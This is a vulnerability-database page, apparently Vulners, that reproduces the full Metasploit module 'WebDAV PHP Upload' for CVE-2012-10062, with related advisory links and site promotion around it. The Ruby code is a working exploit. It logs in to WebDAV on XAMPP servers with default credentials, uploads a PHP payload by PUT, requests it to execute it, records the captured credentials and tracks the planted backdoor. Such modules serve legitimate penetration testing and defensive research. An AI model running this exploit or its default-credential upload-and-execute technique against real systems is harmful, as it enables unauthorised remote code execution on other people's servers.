Lucene search
K

WebDAV PHP Upload

🗓️ 21 Apr 2026 19:02:45Reported by theLightCosine <[email protected]>, g0tmi1kType 
metasploit
 metasploit
🔗 www.rapid7.com👁 369 Views

Exploits WebDAV with PHP enabled (such as XAMPP) to upload and execute a PHP payload.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2012-10062
30 Aug 202513:57
attackerkb
Circl
CVE-2012-10062
29 May 201815:50
circl
CNNVD
XAMPP 安全漏洞
30 Aug 202500:00
cnnvd
CVE
CVE-2012-10062
30 Aug 202513:57
cve
Cvelist
CVE-2012-10062 XAMPP WebDAV PHP Upload Authentication Bypass RCE
30 Aug 202513:57
cvelist
EUVD
EUVD-2012-6608
7 Oct 202500:30
euvd
NVD
CVE-2012-10062
30 Aug 202514:15
nvd
OpenVAS
XAMPP WebDAV PHP Upload Vulnerability (Jan 2012) - Active Check
17 Jan 201200:00
openvas
Packet Storm
📄 WebDAV PHP Upload
22 Apr 202600:00
packetstorm
Positive Technologies
PT-2025-35371
30 Aug 202500:00
ptsecurity
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/windows/http/xampp_webdav_upload_php'

  def initialize(_info = {})
    super(
      'Name' => 'WebDAV PHP Upload',
      'Description' => %q{
          This module exploits WebDAV which also has PHP enabled,
          such as found on XAMPP servers.
          It can use do by using any supplied credentials to upload via WebDAV,
          a PHP payload and then execute it.
      },
      'Author' => [
        'theLightCosine',
        'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
      ],
      'Platform' => 'php',
      'Arch' => ARCH_PHP,
      'Targets' => [
        [ 'Automatic', {} ],
      ],
      'DisclosureDate' => '2012-01-14',
      'DefaultTarget' => 0,
      'References' => [
        [ 'CVE', '2012-10062' ]
      ],
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
        'Reliability' => [REPEATABLE_SESSION]
      }
    )

    register_options(
      [
        OptString.new('URI', [ true, 'The URI path to attempt to upload', '/webdav/' ]),
        OptString.new('FILENAME', [ false, 'The filename to give the payload. (Leave blank for random)' ]),
        OptString.new('USERNAME', [ false, 'The HTTP username to specify for authentication', 'wampp' ]),
        OptString.new('PASSWORD', [ false, 'The HTTP password to specify for authentication', 'xampp' ])
      ]
    )
  end

  def build_res_creds
    if !datastore['USERNAME'].to_s.empty?
      vprint_status 'Using credentials for WebDAV'
      {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    else
      vprint_status 'Anonymous authentication for WebDAV'
      {}
    end
  end

  def print_res_code(res, res_creds)
    if res.code == 401
      print_warning 'Creds may be required' if res_creds.empty?
      print_warning 'Creds may be incorrect' if !res_creds.empty?
    end
  end

  def report_webdav_service(res, creds)
    header_server = res.headers['Server'].to_s.strip
    vprint_status "Server: #{header_server}"

    opts = {
      ip: rhost,
      port: rport,
      service_name: 'webdav',
      proto: 'tcp',
      proof: res.code.to_s
    }.merge(creds.transform_keys(&:to_sym))

    service = report_service(
      host: opts[:ip],
      port: opts[:port],
      proto: opts[:proto],
      name: opts[:service_name],
      info: header_server,
      parents: {
        name: ssl ? 'https' : 'http',
        host: opts[:ip],
        port: opts[:port],
        proto: opts[:proto],
        parents: {
          name: 'tcp',
          host: opts[:ip],
          port: opts[:port],
          proto: opts[:proto],
          parents: nil
        }
      }
    )

    [opts, service]
  end

  def report_webdav_creds(opts, service)
    # XXXX Otherwise `vuln`'s "Service" is "none" when doing check(), and different when doing exploit()
    report_vuln(
      host: opts[:ip],
      service: service,
      name: name
    )

    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: opts[:proto],
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:username],
      private_data: opts[:password],
      private_type: :password
    }.merge service_data

    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge service_data

    create_credential_login login_data
  end

  def check
    test_file = rand_text_alphanumeric(rand(8..15)) + '.php'
    test_url = normalize_uri(datastore['URI'], test_file)
    payload = rand_text_alphanumeric(rand(8..15))
    res_creds = build_res_creds

    # Check
    vprint_status "Checking for WebDAV: #{datastore['URI']}"
    res = send_request_raw({
      'uri' => normalize_uri(datastore['URI']),
      'method' => 'OPTIONS'
    }.merge(res_creds), 10)
    return Exploit::CheckCode::Unknown('No response received from the target') unless res

    unless res.code == 200
      print_error "Target responded: HTTP #{res.code}, should be 200"
      print_res_code(res, res_creds)
      return Exploit::CheckCode::Unknown("Target responded with unexpected HTTP status #{res.code}")
    end

    header_url_regex = /^\d,?/ # No anchor, we only check to ensure the header value begins with an integer (WebDAV compliance class)
    correct_header = res.headers['DAV']&.match?(header_url_regex)

    unless correct_header
      # The DAV header check may miss servers that don't advertise WebDAV on OPTIONS
      # per RFC 4918 §10.1 note. Fall back to a PROPFIND probe — a WebDAV-only method
      # (RFC 4918 §9.1) that returns 207 Multi-Status on compliant servers and 405 elsewhere.
      print_warning 'No DAV header found, probing with PROPFIND...'
      res = send_request_raw({
        'uri' => normalize_uri(datastore['URI']),
        'method' => 'PROPFIND',
        'headers' => { 'Depth' => '0' }
      }.merge(res_creds), 10)
      return Exploit::CheckCode::Unknown('No response received from the target') unless res

      unless res.code == 207
        return Exploit::CheckCode::Safe("Target does not appear to support WebDAV (PROPFIND returned HTTP #{res.code})")
      end
    end

    # Record results!
    opts, service = report_webdav_service(res, res_creds)

    # First see if it already exists (it really shouldn't)
    vprint_status "Checking for test file: #{test_url}"
    res = send_request_raw({
      'uri' => test_url
    }.merge(res_creds), 10)
    return Exploit::CheckCode::Unknown('No response received from the target') unless res
    return Exploit::CheckCode::Unknown("The test file may already exists (HTTP #{res.code})") unless res.code == 404 # Need to try again with a different file

    # Try to create it
    vprint_status "Attempting to upload: #{test_url}"
    res = send_request_cgi({
      'uri' => test_url,
      'method' => 'PUT',
      'data' => payload
    }.merge(res_creds), 10)
    return Exploit::CheckCode::Unknown('No response received from the target') unless res

    ## Often its HTTP 201
    unless res.code.to_i.between?(200, 299)
      print_error "Error with upload request (HTTP #{res.code}, should be 2xx)"
      print_res_code(res, res_creds)
      return Exploit::CheckCode::Unknown("Upload request failed with HTTP status #{res.code}")
    end

    # Record results!
    report_webdav_creds(opts, service)

    # Try to run it
    vprint_status "Checking if created: #{test_url}"
    res = send_request_cgi({
      'uri' => test_url
    }.merge(res_creds))
    return Exploit::CheckCode::Unknown('An error occurred while checking the target') unless res
    return Exploit::CheckCode::Safe("Error with exploit request (HTTP #{res.code}, should be 2xx)") unless res.code.to_i.between?(200, 299)
    return Exploit::CheckCode::Safe("Error with exploit request (Response doesn't match payload) - Missing PHP?") unless res.body.to_s.include?(payload)

    # Clean up
    vprint_status "Attempting to delete: #{test_url}"
    res = send_request_cgi({
      'uri' => test_url,
      'method' => 'DELETE'
    }.merge(res_creds), 10)
    return Exploit::CheckCode::Unknown('An error occurred while checking the target') unless res

    # Exploit uses cmd to delete via file system, not HTTP DELETE request
    print_warning "Error with delete request (HTTP #{res.code}, should be 204) - Can't clean up" unless res.code == 204

    # Done
    return Exploit::CheckCode::Vulnerable('The target is vulnerable')
  end

  def exploit
    uri = build_path
    res_creds = build_res_creds

    print_status "Uploading payload: #{uri}"
    res = send_request_cgi({
      'uri' => uri,
      'method' => 'PUT',
      'data' => payload.raw
    }.merge(res_creds), 10)
    ## Often its HTTP 201
    unless res&.code&.between?(200, 299)
      print_error 'Failed to upload file!'

      if res
        print_error "Error with upload request (HTTP #{res.code}, should be 2xx)"
        print_res_code(res, res_creds)
      else
        print_error 'No response received from server'
      end

      return
    end

    # Record results!
    opts, service = report_webdav_service(res, res_creds)
    report_webdav_creds(opts, service)

    print_status 'Attempting to execute payload'
    # Very short timeout because the request may never return if we're sending a socket payload
    send_request_cgi({
      'uri' => uri,
      'method' => 'GET'
    }.merge(res_creds), 0.01)

    register_file_for_cleanup(@backdoor)
  end

  def build_path
    uri_path = normalize_uri(datastore['URI'])
    uri_path << '/' unless uri_path.ends_with?('/')

    @backdoor = datastore['FILENAME'] || Rex::Text.rand_text_alphanumeric(7)
    @backdoor << '.php' unless @backdoor.end_with?('.php')
    uri_path << @backdoor

    return uri_path
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Jul 2026 19:01Current
6Medium risk
Vulners AI Score6
CVSS 48.7
EPSS0.01209
SSVC
369